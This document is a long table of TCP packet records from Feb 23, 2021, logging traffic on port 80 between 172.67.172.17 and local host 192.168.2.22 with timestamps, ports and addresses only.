Feb 23, 2021 16:55:00.166575909 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.166610003 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.167366982 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.167388916 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.167434931 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.168090105 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.168107986 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.168147087 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.168909073 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.168927908 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.168966055 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.169680119 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.169698954 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.169804096 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.170484066 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.170502901 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.170569897 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.171206951 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.171224117 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.171273947 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.172013044 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.172033072 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.172079086 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.172739983 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.172759056 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.172802925 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.208471060 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.208508015 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.208642006 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.208787918 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.208872080 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.208934069 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.209562063 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.209602118 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.209681034 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.210335970 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.210360050 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.210422039 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.211608887 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.211637020 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.211721897 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.212328911 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.212354898 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.212424040 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.213160038 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.213185072 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.213258028 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.214026928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.214056969 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.214118958 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.214802980 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.214824915 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.214893103 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.215531111 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.215552092 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.215611935 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.215981007 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.216002941 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.216059923 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.216747999 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.216769934 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.216830969 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.217598915 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.217618942 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.217684984 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.218281984 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.218303919 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.218360901 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.219072104 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.219100952 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.219167948 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.219873905 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.219896078 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.219960928 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.220637083 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.220657110 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.220721006 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.221395969 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.221446037 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.221498966 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.222202063 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.222223997 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.222290993 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.222950935 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.222974062 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.223037958 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.223717928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.223737955 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.223794937 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.224503040 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.224529028 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.224718094 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.225301981 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.225322962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.225408077 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.226068974 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.226094007 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.226166010 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.226919889 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.226938963 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.227010012 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.227602959 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.227621078 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.227674007 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.228391886 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.228411913 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.228475094 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.229130983 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.229150057 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.229212999 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.229994059 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.230015993 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.230084896 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.230686903 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.230706930 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.230763912 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.231441021 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.231463909 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.231527090 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.232223034 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.232240915 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.232292891 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.232990026 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.233009100 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.233081102 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.233762980 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.233783007 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.233843088 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.234575987 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.234601021 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.234667063 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.235331059 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.235349894 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.235410929 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.236088037 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.236108065 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.236175060 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.236879110 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.236898899 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.236957073 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.237642050 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.237660885 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.237718105 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.238415003 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.238442898 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.238501072 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.239197016 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.239219904 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.239362955 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.239981890 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.240006924 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.240063906 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.240725040 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.240747929 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.240803957 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.241507053 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.241532087 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.241589069 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.242314100 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.242342949 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.242397070 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.243093967 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.243155003 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.243208885 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.243844032 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.243874073 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.243931055 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.244589090 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.244612932 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.244673014 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.245435953 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.245472908 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.245536089 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.246128082 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.246159077 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.246206045 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.246967077 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.246998072 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.247052908 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.247739077 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.247771025 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.247828007 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.264204025 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.264266014 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.264364004 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.264447927 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.264509916 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.264668941 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.265260935 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.265317917 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.265379906 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.266019106 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.266072035 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.266136885 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.266798973 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.266859055 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.266921043 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.267529964 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.267580032 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.267637968 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.268389940 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.268490076 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.268558025 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.269120932 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.269185066 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.269248962 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.269877911 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.269968033 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.270036936 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.270698071 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.270768881 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.270838976 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.271450996 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.271519899 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.271574974 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.272233009 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.272277117 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.272326946 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.272985935 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.273030996 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.273078918 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.273737907 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.273809910 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.273869991 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.274557114 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.274604082 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.274658918 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.275305986 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.275346041 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.275398970 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.276073933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.276118040 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.276168108 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.276842117 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.276895046 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.276957989 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.277776003 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.277849913 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.277920961 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.278409958 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.278479099 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.278538942 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.279186964 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.279257059 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.279314995 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.279964924 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.280034065 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.280086994 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.280723095 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.280796051 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.280858040 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.281511068 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.281577110 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.281646013 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.282229900 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.282294035 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.282350063 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.283001900 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.283070087 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.283130884 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.283806086 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.283881903 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.283946037 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.284518957 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.284586906 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.284648895 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.285197973 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.285273075 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.285334110 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.285856009 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.285898924 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.285953999 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.286567926 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.286613941 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.286668062 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.287256956 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.287295103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.287390947 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.287853003 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.287892103 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.287935019 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.287940979 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.288846970 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.288899899 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.288924932 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.288949966 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.289000034 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.289807081 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.289860964 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.289906979 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.289916992 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.290709019 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.290767908 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.290783882 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.290817976 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.290867090 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.291611910 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.291663885 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.291711092 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.291718960 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.292500973 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.292551041 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.292571068 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.292598963 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.292645931 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.293361902 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.293440104 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.293490887 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.293493032 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.294260979 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.294313908 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.294336081 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.294434071 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.294490099 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.295200109 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.295258045 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.295306921 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.295311928 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.295922995 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.295977116 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.295977116 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.296025991 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.296070099 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.296739101 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.296787977 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.296833038 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.296833992 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.297633886 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.297684908 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.297693968 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.297730923 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.297775030 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.298383951 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.298440933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.298490047 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.298491001 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.299211025 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.299268007 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.299268007 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.299316883 CET	80	49166	172.67.172.17	192.168.2.22
